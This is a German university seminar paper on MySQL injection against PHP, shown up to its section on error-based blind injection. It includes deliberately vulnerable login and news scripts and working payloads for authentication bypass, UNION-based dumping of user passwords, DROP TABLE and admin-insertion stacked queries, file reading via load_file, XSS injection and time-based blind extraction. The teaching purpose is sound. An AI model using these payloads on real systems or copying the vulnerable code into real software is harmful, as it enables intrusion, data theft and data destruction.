Sie sind auf Seite 1von 28

MySQL Injections

D. Ritter Universitt Ulm daniel.ritter@uni-ulm.de 14. Juni 2012

SQL-Injections stellen immer noch eine der grten Sicherheitsrisikos in heutigen Webapplikationen dar. Der Leser sollte bereits ein wenig Vorwissen darber haben, was SQL-Injections sind, weil dies nicht explizit erklrt wird. Der grte Teil des Paper geht viel mehr auf die Tricks ein, die angewendet werden knnen, um eine Injection-Lcke zu exploiten. Die Injection-Finessen sind hierbei in zwei Kapitel untergliedert: einfachere und komplexere Injections. Anhand von zwei PHP-Scripten wird die Durchfhrung der jeweiligen Injections demonstriert. Das letzte Kapitel beschreibt die Schutzmanahmen gegen SQL-Injections.

Inhaltsverzeichnis

Inhaltsverzeichnis
1 Einleitung 2 Beispiel PHP-Script 3 Basic SQL-Injections 3.1 Tautologien . . . . . . . . . . . . . . . . . . . 3.2 Lokalisierung von SQL-Injections . . . . . . . 3.3 Union Queries . . . . . . . . . . . . . . . . . . 3.4 Stacked Queries . . . . . . . . . . . . . . . . . 3.5 Informationsbeschaung ber die Datenbank 3.6 SQL Injection XSS . . . . . . . . . . . . . . . 3 3 5 5 6 9 11 12 14 15 15 16 16 17 18 19 19 20 21 21 22 23 24 24 26 26 27

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

4 Advanced SQL-Injections 4.1 Second Order Injections . . . . . . . . . . . . . . 4.2 Blind SQL Injections . . . . . . . . . . . . . . . . 4.2.1 Zeitbasierte Blind Injections . . . . . . . . 4.2.2 Fehlerbasierte Blind Injections . . . . . . 4.2.3 Inhaltsbezogene Blind Injections . . . . . 4.3 Filesystem Access . . . . . . . . . . . . . . . . . . 4.3.1 Lesender Zugri auf das Dateisystem . . . 4.3.2 Schreibender Zugri auf das Dateisystem 4.4 Operating System Access . . . . . . . . . . . . . 4.4.1 Erzeugen einer Webshell . . . . . . . . . . 4.4.2 User Dened Functions . . . . . . . . . . 5 Schutzmanamen 5.1 Defensives Programmieren . . . . 5.1.1 Prepared Statements . . . 5.1.2 Escaping von Metazeichen 5.1.3 Stored Procedures . . . . 6 Zusammenfassung

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

. . . .

1 Einleitung

1 Einleitung
SQL-Injections sind keineswegs neu. Bereits 1998 hat Je Forrista im Phrack Magazin [6] darauf hingewiesen. Dennoch sind SQL-Injections eine der gefhrlichsten Schwachstellen in heutigen Onlineauftritten. Dies belegt auch das OWASP TOP 10 Ranking [11] der 10 gefhrlichsten Sicherheitsrisiken, in der Injections an erster Stelle stehen. Auch wenn dieses Problem heute den versierteren Entwicklern bekannt ist, so sind dennoch geschtzte 30% der Applikationen verwundbar. Das liegt u.a. daran, dass nicht alle Eingabekanle geprft werden oder dass aus Unachtsamkeit eine Variable vergessen wird zu validieren. Damit wren wir schon an dem Punkt angelangt, wie SQL-Injections berhaupt entstehen. Listing 1 zeigt ein einfaches PHP Login-Script, welches die $_POST[]-Parameter nicht berprft. Die Schwachstelle in diesem Script macht sich in Zeile 4 und 5 deutlich. Denn SQL-Injections entstehen, wenn aus ungeprften Fremdeingaben dynamisch zur Laufzeit ein String fr eine SQL-Abfrage konkateniert wird und mit diesem eine SQLAbfrage gestartet wird. Wre in den Benutzereingaben ein Metazeichen, also ein Zeichen das fr den Parser der Datenbank eine spezielle Bedeutung hat, enthalten, so ist es einem Angreifer mglich, die Datenbankabfrage beliebig zu ndern. In den folgenden Abschnitten wird erklrt, wie man SQL-Injections ndet, wie man sie ausnutzt und wie man sich dagegen schtzen kann. Die Ausarbeitung beschrnkt sich hierbei auf die MySQL-Datenbank und PHP, da sie sonst zu umfangreich wre und im Hinblick auf die dazugehrige praktische bung nur fr Verwirrung sorgen wrde. Aber generell sind alle beschrieben Techniken auch in anderen Datenbanken, wie Postgres, Oracle oder Microsoft SQL Server mit abgewandelten SQL-Statements mglich. Genauso ist auch prinzipiell jede Programmiersprache fr SQL-Injections anfllig, wenn nicht defensiv programmiert wird (Verweis auf Abschnitt 5.1).

2 Beispiel PHP-Script
Das PHP-Script im unteren Listing dient dazu die nachfolgenden Angristechniken an einem konkreten Beispiel zu illustrieren und wird daher des fteren wieder aufgegrien. Im Laufe der Arbeit wird an passender Stelle ein zweites Beispiel (news.php) eingefhrt.

2 Beispiel PHP-Script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23

<?php include "config.php"; if(isset($_POST[submit])){ $sql = "SELECT * FROM users WHERE username = {$_POST[username]} ". "AND password = {$_POST[password]}"; $result = mysql_query($sql) or die(Error: . mysql_error() . "<br>" . $sql); if (mysql_num_rows($result) > 0){ $my = mysql_fetch_array($result); echo welcome .$my[username].<br />; echo $sql; } else{ echo Access Denied; } } else{ echo <form method="POST">; echo Username:<input name="username"><br />; echo Password:<input name="password"><br />; echo <input type="submit" name="submit">; echo </form>; } ?>

Listing 1: Login.php realisiert eine sehr einfache Login-Seite. In Zeile 4 und 5 wird dynamisch zur Laufzeit aus ungeprften Benutzereingaben ein String fr eine nachfolgende SQL-Abfrage erzeugt. Quelle: [14]

3 Basic SQL-Injections
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

CREATE TABLE IF NOT EXISTS users ( id int(11) NOT NULL auto_increment, username varchar(255) NOT NULL default , password varchar(255) NOT NULL default , email varchar(255) NOT NULL default , level int(11) NOT NULL default 0, PRIMARY KEY (id) ) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; -- Dumping data for table users -INSERT INTO users VALUES (1, admin, secret, admin@localhost, 1); INSERT INTO users VALUES (2, user1, passwd, user1@localhost, 0); CREATE TABLE IF NOT EXISTS news ( id int(11) NOT NULL AUTO_INCREMENT, text varchar(5000) NOT NULL, category int(11) NOT NULL, PRIMARY KEY (id) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- Dumping data for table news -INSERT INTO news (id, text, category) VALUES (1, schlagzeile1, 2), (2, schlagzeile2, 14); (2, schlagzeile3, 6);

Listing 2: Das zugrunde liegende Datenbankschema fr login.php und news.php (wird spter noch eingefhrt).

3 Basic SQL-Injections
3.1 Tautologien
Unter einer Tautologie versteht man in der booleschen Algebra einen Ausdruck der immer wahr ist. Im Bezug auf die SQL-Syntax ist damit ein WHERE-Statement gemeint, welches immer zu True evaluiert wird. Wenn es uns in unserem Code-Beispiel gelingen wrde, das SELECT-Query zu einer Tautologie zu ndern, so kann die Anmeldung umgangen werden. Die Datenbankabfrage wrde einfach alle Benutzer zurckliefern und in Zeile 8 den ersten Benutzer in der Datenbank als angemeldet klassizieren. In der Tat ist das beschriebene Szenario durch die Benutzereingabe in Injection 1 mglich. In Zeile 2 und 3 steht jeweils, was der Benutzer in die entsprechenden Formularfelder eingegeben hat und in der letzten Zeile wie der daraus resultierende Query-String fr die Datenbankabfrage aussieht:

3 Basic SQL-Injections
1 2 3 4 5

/*Benutzereingabe*/ Username: or = Password: or = /*Resultierende Abfrage*/ SELECT * FROM users WHERE username = or = AND password = or =;

Injection 1: Authentication Bypass durch eine Tautologie. Diese Technik wird auch oft als Authentication Bypass bezeichnet, weil die Anmeldung umgangen wird, ohne einen konkreten Benutzer bzw. Passwort anzugeben. Mit Hilfe des SQL-Kommentars "--" ist es mglich den hinteren Teil einer Abfrage zu ignorieren. Diese Technik wird in der nchsten Injection 2 gezeigt: Username: or 1=1-- und ein {LEERZEICHEN!} Password:irrelevant
/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = or 1=1-- AND password = irrelevant;

Injection 2: Authentication Bypass durch eine Tautologie und einen Kommentar. Hinter dem - - muss immer ein Leerzeichen stehen oder man verwendet stattdessen eine Raute. Kennt man einen Benutzernamen von der Webseite, kann man auch versuchen sich direkt damit anzumelden. Im nachfolgenden Beispiel wird versucht sich als Admin anzumelden: Username:admin-- und ein {LEERZEICHEN!} Password:irrelevant
/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = admin-- AND password = irrelevant;

Injection 3: Authentication Bypass ins Admin-Konto. Hinter dem - - muss immer ein Leerzeichen stehen oder man verwendet stattdessen eine Raute.

3.2 Lokalisierung von SQL-Injections


Bevor wir weiter darauf eingehen zu was man Injections missbrauchen knnte, sollten wir uns erstmal Gedanken darber machen, wie man diese manuell1 ndet. SQL-Injections knnen sich ber jeden von auen kommenden Wert einschleusen mit dessen Hilfe ein Query-String aufgebaut wird. Dabei muss nicht nur der Weg ber POST beachtet werden, sondern auch ber GET, Hidden-Fields, COOKIE und ber HTTP-Header und diese dann
1

Hierfr existieren auch Tools, wie HP WebInspect, IBM Rational AppScan, HP Scrawlr, SQLiX, Paros Proxy usw.

3 Basic SQL-Injections entsprechend geprft werden. Als Entwickler kann man sich hierzu eines der unzhligen Sourcecode Analysetools [10] bedienen, um sicherzustellen keine Kanle oder Variablen vergessen zu haben. Die Mglichkeiten, wie hingegen ein Angreifer von auen eine Website auf Schwachstellen untersuchen kann, werden nachfolgend beschrieben. Eine Mglichkeit, die ein Angreifer versuchen kann, ist es einen Fehler beim Parsen des Query-Strings zu erzeugen. Dazu gengt es ein Metazeichen an den Server zu schicken, um eine syntaktisch ungltige Abfrage zu provozieren. Im einfachsten Fall wird dazu nacheinander2 in jedem Textfeld einer HTML-Form zum Beispiel ein einfaches Hochkomma abgeschickt (siehe Injection 4): Username: Password:
/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = AND password = ; /*Erzeugter Fehler #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1*/

Injection 4: Abschicken eines Metazeichens, um einen Syntax-Fehler zu provozieren. Erhalten wir dann eine Fehlermeldung oder ein irregulres Verhalten, so haben wir eine Lcke gefunden. Mit irregulrem Verhalten kann gemeint sein: Der Error ist zu Debugging Zwecken in der Webseite versteckt. Weiterleitung auf eine andere Webseite. HTTP Status Code 500 (Internal Server Error) oder HTTP Redirection Code 302 als Antwort. Die Applikation behandelt das Metazeichen korrekt und zeigt ein leeres Ergebnis oder eine generische Fehlerseite an. Der Inhalt der Webseite unterscheidet sich (siehe Injection 5). Automatische Tools, welche Injections aunden knnen, tun sich teilweise schwer damit insbesondere den letzten Punkt korrekt zu erkennen, weshalb diese nie hundertprozentig alle Injections nden knnen. Man sollte beachten, dass manche Entwickler es fr ausreichend empnden nur Hochkommata zu escapen und man daher auch andere Metazeichen wie ;, , /*, % etc. zum Testen verwenden sollte. Eine umfassende Liste potentiell gefhrlicher Zeichen ist im Manahmenkatalog vom BSI [12] auf Seite 21 zu

Wird beispielsweise in Username und Password gleichzeitig ein Hochkomma gesendet, ist der SQLAusdruck wieder valide.

3 Basic SQL-Injections nden. Da diese Vorgehensweise jedoch einen SQL-Fehler erzeugt, der im General Query Log protokolliert3 wird, existieren noch subtilere Methoden (siehe Injection 5 und 6):
<?php include "config.php"; if(isset($_GET[category])) { $query = "SELECT * FROM news WHERE category={$_GET[category]}"; $result = mysql_query($query) or die(mysql_error()); echo "<table>"; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo "<tr>"; echo "<td>" . $row[id] . "</td>"; echo "<td>" . $row[text] . "</td>"; echo "<td>" . $row[category] . "</td>"; echo "</tr>"; } echo "</table>"; } ?>

Listing 3: news.php zeigt eine Tabelle mit allen Nachrichtenmeldungen einer Kategorie an. URL1: news.php?category=2 and 1=1 URL2: news.php?category=2 and 1=0
/*Erste Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and 1=1 /*News mit ID=2 wird angezeigt*/ /*----------------------------------------------------------------------------------*/ /*Zweite Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and 1=0 /*Keine News wird angezeigt*/

Injection 5: Injection-Test mit einer validen Query in der news.php In Injection 5 werden zwei GET-Requests mit unterschiedlicher URL ber den Browser abgeschickt. Beide Queries sind valide, aber aufgrund des unterschiedlichen Verhaltens ist es sicher, dass hier eine Lcke vorliegt. Beim Einschleusen einer Always-True-Bedingung, wie im ersten Request and 1=1, ist es wichtig, dass das WHERE-Statement nicht komplett zu TRUE wird und alle Zeilen einer Tabelle zurckliefert, was bei einer Tabelle mit vielen Eintrgen fr Aufmerksamkeit sorgen knnte. Daher wird hier bewusst ein and anstatt ein or eingeschleust. Auerdem sieht man an diesem Beispiel auch, dass Injections ohne ein Hochkomma mglich sind. Denn bei numerischen Werten wird normalerweise4 kein
3 4

Standardmig sind alle Logs in MySQL deaktiviert. Eine defensivere Progammierweise wre es, auch numerische Werte in Hochkommata einzuschlieen.

3 Basic SQL-Injections schlieendes Hochkomma bentigt, um aus einem angefangenen String auszubrechen und die eigentliche Injection anzuhngen. Um Schwachstellen mit validen Anfragen zu nden, existieren noch weitere Techniken. Zum Beispiel eine Stacked Query (siehe Abschnitt 3.4), dessen zweite Query sehr zeitintensiv ist (siehe Abschnitt 4.2.1). Wenn die Abfrage dann lnger als gewhnlich dauert, so hat man ebenfalls eine Lcke gefunden. Injection 6 zeigt weitere Beispiele, um Schwachstellen zu nden.
/*Benutzereingaben*/ URL1: news.php?category=1+5 URL2: news.php?category=2+4 URL3: news.php?category=3+3 URL4: news.php?category=6 and 1=1 URL5: news.php?category=5+(SELECT 1) /*Die Nachrichtenmeldungen der Kategorie 6 wird bei allen fuenf Anfragen angezeigt*/ /*Nach RFC 2396 ist das Pluszeichen ein reserviertes Zeichen in einer URI und muss mit*/ /*%2B codiert werden.*/ /*-------------------------------------------------------------*/ SELECT field FROM table WHERE field=admin SELECT field FROM table WHERE field=ad min /*Wenn sich beide Queries gleich verhalten, liegt vermutlich eine Schwachstelle vor.*/

Injection 6: Weitere Tricks um verwundbare Parameter zu lokalisieren.

3.3 Union Queries


Mittels Union Queries kann man zwei SFW-Statements5 zusammenfhren und deren Ergebnisse in einem Resultset untereinander anzeigen lassen (kleine Gedchtnisaurischung gibt es hier6 ). Hierbei ist es wichtig, dass in beiden SFW-Statements die Anzahl der Spalten bereinstimmen. Fr Injections knnen Union Queries dazu benutzt werden die Zeilen aus einer eingeschleusten Abfrage, an das erste SELECT-Statement anzuheften. Dadurch werden die angehefteten Zeilen fr den Angreifer je nach zu Grunde liegendem Programmcode evtl. sichtbar. In Injection 7 wird ein erster Versuch einer Union-Injection gestartet:

Die Abfrage SELECT *FROM users WHERE id=2 wrde in MySQL trotzdem ausgefhrt werden. SELECT FROM WHERE 6 www.w3schools.com/sql/sql_union.asp
5

3 Basic SQL-Injections URL: news.php?category=2 UNION ALL SELECT username, password FROM users
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION ALL SELECT username, password FROM users /*#1222 - The used SELECT statements have a different number of columns*/

Injection 7: Erster Versuch einer Union zwischen der Tabelle news und users schlgt fehl. Der Versuch misslingt, weil die Spaltenanzahl in den SELECT-Anweisungen nicht bereinstimmen. Um die Spaltenzahl der News-Query herauszunden, kann man ein GROUP BY Integer einschleusen (siehe Injection 8). Die Integer wird solange erhht, bis ein Fehler erscheint. Die Spaltenanzahl ist dann die maximale Integer bei der kein Fehler aufgetreten ist. URL1: URL2: URL3: URL4: news.php?category=2 news.php?category=2 news.php?category=2 news.php?category=2 group statement*/ GROUP GROUP GROUP GROUP BY BY BY BY 1 2 3 4 /*no error*/ /*no error*/ /*no error*/ /*#1054 - Unknown column 4 in

Injection 8: Spaltenanzahl der Tabelle news ermitteln. Jetzt wissen wir, dass die News-Tabelle drei Spalten hat und knnen unseren ersten Injection Versuch anpassen und entsprechend um eine Spalte erweitern:

10

3 Basic SQL-Injections URL: news.php?category=2 UNION ALL SELECT username, password,1 FROM users
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION ALL SELECT username, password,1 FROM users /*Resultset +-------+--------------+----------+ | id | text | category | +-------+--------------+----------+ | 1 | schlagzeile1 | 2 | +-------+--------------+----------+ | admin | secret | 1 | +-------+--------------+----------+ | user1 | passwd | 1 | +-------+--------------+----------+ */

Injection 9: Die Schwachstelle in news.php kann ausgenutzt werden, um smtliche Benutzerdaten aufzulisten. Wie man sieht nimmt es MySQL dabei nicht so genau, wenn die Spalten unterschiedliche Datentypen haben (siehe id-Spalte). Bei anderen Datenbanken kann es hier zu einem Fehler kommen, weshalb man vorher noch die Datentypen der jeweiligen Spalten bestimmen msste. Anstatt den Datentyp zu raten, wird auch oft empfohlen null zu verwenden (siehe Injection 10). Wenn die beiden Tabellen einen unterschiedlichen Charset haben, kann dies auch manchmal zu einem Fehler fhren. Mittels convert(version() using charsetxyz) knnen die beiden Abfragen, dann explizit auf das gleiche Encoding eingestellt werden. Injection 10 zeigt, wie man das erste Statement unterdrcken knnte. Dies kann unter Umstnden hilfreich sein, wenn das zugrunde liegende PHP-Script nur eine Zeile aus dem Resultset ausgibt. URL: news.php?category=2 AND 1=0 UNION ALL SELECT username, password,null FROM users Injection 10: Das erste SELECT wird unterdrckt. Diese Technik knnte in abgewandelter Form auch in der login.php ausgenutzt werden, um sich als beliebiger Benutzer anzumelden, der nicht einmal in der Datenbank existiert.

3.4 Stacked Queries


Bei Stacked Queries, oder auch Batched Queries genannt, handelt es sich um mehrere SQL-Statements, die durch einen Strichpunkt voneinander getrennt sind und nacheinander ausgefhrt werden:

11

3 Basic SQL-Injections SELECT foo FROM bar; SELECT foo2 FROM bar2; Dabei muss beachtet werden, dass nicht jede Programmiersprache im Zusammenspiel mit jeder Datenbank bzw. Datenbank-Version Stacked Queries untersttzt. Die PHP-Funktion mysql_query(string) untersttzt keine Batched Queries, weshalb die nachstehenden Beispiele mit unseren PHP-Scripten nicht funktionieren und somit nur theoretischen Charakter haben oder in phpMyAdmin ausgefhrt werden sollten. In Injection 11 wird exemplarisch gezeigt, wie ein Angreifer beispielsweise ganze Tabellen lschen knnte: Username:;DROP TABLE users;/* Password:
/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ;DROP TABLE users;/* AND password = ;

Injection 11: Die User-Tabelle lschen. Hierbei ist das hintere Semikolon nicht zu vergessen. Will man ein - - anstatt /* verwenden, muss hinter - - ein Leerzeichen stehen. Eine andere Mglichkeit sich diese Technik zunutze zu machen, wre es zum Beispiel sich einen neuen Benutzer anzulegen: Username:;INSERT INTO users VALUES(null,user,pwd, admin@localhost,1);/* Password:
/*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ;INSERT INTO users VALUES(null,user,pwd, admin@localhost,1);/* AND password = ;

Injection 12: Neuen Benutzer anlegen. Jedoch erfordern Stacked Queries bereits ein genaueres Wissen ber den Aufbau der Datenbank (Tabellennamen, Spaltenanzahl, Spaltentypen), da die Abfrage ansonsten fehlschlgt. Wie man mehr ber die Datenbank herausndet, wird im nchsten Abschnitt erlutert. Des weiteren werden defensiv programmierte Webseiten nicht beliebig lange Eingaben akzeptieren und der Insert-Versuch in Injection 12 wird umso schwerer, je komplexer die Datenbank aufgebaut ist Stichwort Fremdschlssel.

3.5 Informationsbeschaung ber die Datenbank


Nachdem man eine Injection gefunden hat, besteht der zweite Schritt normalerweise darin, herauszunden, welche Datenbank von der Applikation verwendet wird, um den richtigen SQL-Dialekt fr den Exploit zu bestimmen. Falls der Server SQL-Fehler zurckliefert, knnte Injection 4 genutzt werden, um anhand der doch recht charakteristischen Fehlermeldungen auf die Datenbank zu schlieen.

12

3 Basic SQL-Injections Wenn keine aussagekrftigen Fehlermeldungen zurckgeliefert werden, kann man sich zunutze machen, dass jede Datenbank in Bezug auf String-Konkatenation einen anderen Dialekt untersttzt. Die Tabelle 1 zeigt diese Herangehensweise: Datenbank Server Microsoft SQL Server MySQL Oracle Query SELECT some + string SELECT some string SELECT CONCAT(some,string) SELECT some || string SELECT CONCAT(some,string)

Tabelle 1: Unterschiedliche SQL-Dialekte um Strings zu konkatenieren, lassen Rckschlsse auf den Datenbank-Server zu. Quelle: [4] Das nachfolgende etwas lngere Listing zeigt ntzliche MySQL-Statements, um mehr ber die Datenbank herauszunden. Mchte man diese Statements einschleusen, kann man beispielsweise wie in Injection 13 vorgehen.
/*************************************/ /** Session-User bestimmen **/ /*************************************/ /*MySQL-Benutzer bestimmen, der die Anfrage ausfuehrt + Server Hostname*/ SELECT USER(); SELECT CURRENT_USER(); /*Result: root@localhost*/ /*Auflistung der MySQL Benutzernamen und Passwoerter (Adminrechte benoetigt)*/ SELECT User,Password FROM mysql.user; /*Passwoerter sind ab MySQL > 4.1 als 41-Character SHA1 Hash gespeichert. Zum Zurueckrechnen kann John the Ripper oder Cain & Abel eingesetzt werden.*/ /*Bestimmen welche Rechte ein User hat*/ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; /*Gekuerztes Resultset +--------------------+------------------+---------------+ | grantee | privilege_type | is_grantable | +--------------------+------------------+---------------+ | root@localhost | SELECT | YES | | root@localhost | INSERT | YES | | ... | ... | ... | +--------------------+------------------+---------------+*/

/*************************************/ /** Datenbank-Schema auflisten **/ /*************************************/

13

3 Basic SQL-Injections

/*Gibt die aktuelle Datenbank zurueck*/ SELECT DATABASE(); /*Auflistung aller Datenbanken (Adminrechte benoetigt)*/ SELECT distinct(db) FROM mysql.db; /*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/ SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema !=information_schema AND table_schema != mysql /*Gekuerztes Resultset +--------------+--------------+--------------+ | table_schema | table_name | column_name | +--------------+--------------+--------------+ | ... | ... | ... | | itsec | news | id | | itsec | news | text | | itsec | news | category | | itsec | users | id | | ... | ... | ... | +--------------+--------------+--------------+*/ /*Verzeichnis in dem die Datenbanken abgelegt sind.*/ SELECT @@DATADIR; /*Result: C:\xampp\mysql\data\*/ /*Gesamte Datenbank kopieren*/ SELECT load_file(C:\xampp\mysql\data\databasename\tablename.MYD) SELECT @@BASEDIR /*Result: C:\xampp\mysql*/

Es ist auch wichtig die genaue Version und den Patchlevel der Datenbank zu ermitteln, um herauszunden, ob die Datenbankversion bereits bekannte Exploits aufweist und um zu wissen welche SQL-Befehle ausgefhrt werden knnen. ltere MySQL-Versionen untersttzten beispielsweise keine Unions oder kennen die SLEEP()-Funktionen nicht. Injection 13 knnte genutzt werden, um sich die Version ausgeben zu lassen: URL: news.php?category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1

Injection 13: Ausgabe der Datenbank-Version.

3.6 SQL Injection XSS


Es sei angemerkt, dass SQL-Injections auch verwendet werden knnen, um bsartiges JavaScript in eine Webseite einzuschleusen. Injection 14 zeigt diese Methode beispielhaft mit einem Union-Statement. Hierfr eignen sich auch Update- und Insert-Statements sehr

14

4 Advanced SQL-Injections gut, da das XSS dann permanent in der Datenbank gehalten wird, und mglicherweise bei vielen Besuchern gleichzeitig ausgefhrt wird. URL1: news.php?category=2 UNION SELECT 1,2,<script>alert("sixss") </script>
/*Resultierende Abfrage1*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,<script>alert("sixss")</script>

Umgehen von einfachen Hochkommata-Filtern (XSS in Hex konvertieren und 0x voranstellen): URL2: news.php?category=2 UNION SELECT 1,2,0x273C7363726970743E616 C6572742822736978737322293B3C2F7363726970743E27
/*Resultierende Abfrage2*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,0x273C7363726970743E616 C6572742822736978737322293B3C2F7363726970743E27

Injection 14: Reexive JavaScript Injection. Quelle:[14]

4 Advanced SQL-Injections
4.1 Second Order Injections
Sogar wenn eine Applikation einfache Hochkommas immer escaped, kann ein Angreifer SQL-Code einschleusen, sofern diese Daten dann von der Applikation wiederverwendet werden. Der entscheidende Punkt ist, dass ein Angreifer darauf hot, dass die Daten bei der Wiederverwendung nicht mehr validiert werden. Dies kann am besten anhand eines kleinen, beliebten Beispiels aus [1] nher erklrt werden. Angenommen ein Angreifer registriert sich auf unserer Webseite mit Username:admin-- und Passwort:pwd. Beim Einfgen in die Datenbank wird das Hochkomma korrekt escaped und es entsteht der folgende Insert-Befehl: INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0); Innerhalb der Webseite knnte eine Art Kontoverwaltung existieren, um sein Passwort zu ndern. Meistens wird dazu auch das alte Passwort abgefragt. Eine entsprechende SQL-Abfrage knnte wie folgt aussehen:
$queryString = "UPDATE users SET password=" . newPassword . " " . "WHERE userName=" . userName . " AND " . "password=" . oldPassword . "";

15

4 Advanced SQL-Injections In der Variable userName steht der momentan angemeldete Benutzer in unserem Fall admin-- . Dies wrde dann beim Abschicken des Formulars zu folgendem SQLStatement fhren:
/*Resultierende Abfrage*/ UPDATE users SET password=gotcha WHERE userName=admin-- AND password=any

Injection 15: 2nd Order Injection. Die berprfung des alten Passworts wird auskommentiert. Einem Angreifer ist es so mglich das Passwort des Administratorkontos beliebig zu ndern. Second Order Injections sind recht schwer zu erkennen und zu verhindern, weil sie an einer anderen Stelle ausgenutzt werden, wie sie eingeschleust wurden. Ein Entwickler kann dem Irrglauben verfallen, dass Daten die aus der Datenbank stammen und vorher ordnungsgem gesubert wurden, auch ungefhrlich fr die weitere Verwendung sind.

4.2 Blind SQL Injections


Nicht immer knnen mchtige Union-Queries dazu benutzt werden, um Daten zu extrahieren. Beispielsweise weil eine benutzerfreundliche Fehlerseite angezeigt wird oder weil die Fremdeingabe nicht reexiv im Output der Webseite gespiegelt wird (z.B. Die Emailadresse xyz ist nicht im System registriert). Meistens kann mit sog. Blind Injections dennoch pro Anfrage ein Bit an Information extrahiert werden. Blind Injections funktionieren, indem man eine bedingte Anweisung der Art IF x THEN y ELSE z in das Query einschleust. In MySQL ist die IF-Funktion folgendermaen aufgebaut: SELECT IF(1>2,2,3); /*Resultat: 3*/ Beispielsweise kann x in entsprechende SQL-Befehle umgeschrieben, so dass es zu TRUE ausgewertet wird, wenn ein Charakter eines zu untersuchenden Strings grer als der Buchstabe k ist. Jetzt wei man, dass der gesuchte Charakter zwischen l und z"liegen muss. Die weiteren Anfragen verlaufen dann nach dem binren Suchverfahren, bis der erste Buchstabe des Strings ermittelt werden konnte und die binre Suche fr den zweiten Buchstaben fortgesetzt wird. Wie man bereits erahnt, erfordert dies sehr viele Anfragen, weshalb Blind SQL Injections fr Strings auch nur automatisiert sinnvoll sind. Wenn man danach fragt, ob man als Admin angemeldet ist oder nicht, reicht hingegen eine Abfrage aus. Das Verhalten der Ausdrcke y und z ist dabei so unterschiedlich, dass der Angreifer rckschlieen kann, ob x TRUE oder FALSE war. Fr die Wahl von y bzw. z kann man Blind SQL Injections in die Kategorien zeitbasiert, fehlerbasiert und inhaltsbezogen einteilen. Auf diese drei Anstze wird nachfolgend genauer eingegangen. 4.2.1 Zeitbasierte Blind Injections Zeitbasierte Angrie sind sehr exibel, da sie immer funktionieren und nicht vom Output der Applikation abhngen. Sie knnen die Abfrage knstlich Verzgern und dadurch

16

4 Advanced SQL-Injections ein Bit an Information extrahieren. Diese Art von Injections knnen auch fr Denial of Serivce Angrie missbraucht werden. Prinzipiell funktionieren solche Angrie nach dem Schema in Listing 4: IF (Bedingung = True) THEN y ELSE SLEEP(Time) Listing 4: Prinzipielle Funktionsweise von zeitbasierten Blind Injections. Der ELSE-Zweig verzgert die Antwort knstlich. In MySQL Version 5.0.12 oder hher wurde eine SLEEP(time)-Funktion eingefhrt, welche die Abfrage um time Sekunden verzgern kann. In lteren Versionen kann stattdessen beispielsweise BENCHMARK(1000000,sha1(foobar) verwendet werden. Normalerweise wird die Benchmark-Funktion dazu genutzt, um die Performance des Servers zu messen. Sie kann aber auch dazu benutzt werden, eine knstliche Verzgerung zu erzielen. Die zeitbasierte Blind Injection 16 prft nach, ob man als Benutzer root angemeldet ist: URL: news.php?category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=root, SLEEP(5),1),2,3
/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=root,SLEEP(5),1),2,3

Injection 16: Wenn man als root angemeldet ist, wird die Abfrage um 5 Sekunden verzgert. Das angehngte 2,3 dient dazu die Spaltenanzahl an die News-Tabelle anzugleichen. Um einfache Hochkommata-Filter zu umgehen knnte root in die Hex-Darstellung 0x27726f6f7427 umgewandelt werden. 4.2.2 Fehlerbasierte Blind Injections Da die zeitbasierte Technik immer eine Verzgerung mit sich zieht, eignet sie sich nicht, um grere Informationen zu extrahieren. Hierfr existiert die Technik der fehlerbasierten Blind Queries: IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler Listing 5: Prinzipielle Funktionsweise von fehlerbasierten Blind Injections. Im ELSE-Zweig wird ein SQL-Fehler hervorgerufen und y fhrt die Abfrage ohne Fehler aus. Die Blind Injection 17 ermittelt, ob die MySQL-Version hher oder kleiner als 5 ist:

17

4 Advanced SQL-Injections URL: news.php?category=IF((SELECT match REGEXP IF (SUBSTR(@@version,1,1)=5,match,)),2,egal)


/*Resultierende Abfrage*/ SELECT * FROM news WHERE category=IF((SELECT match REGEXP IF(SUBSTR(@@version,1,1)=5,match,)),2,egal)

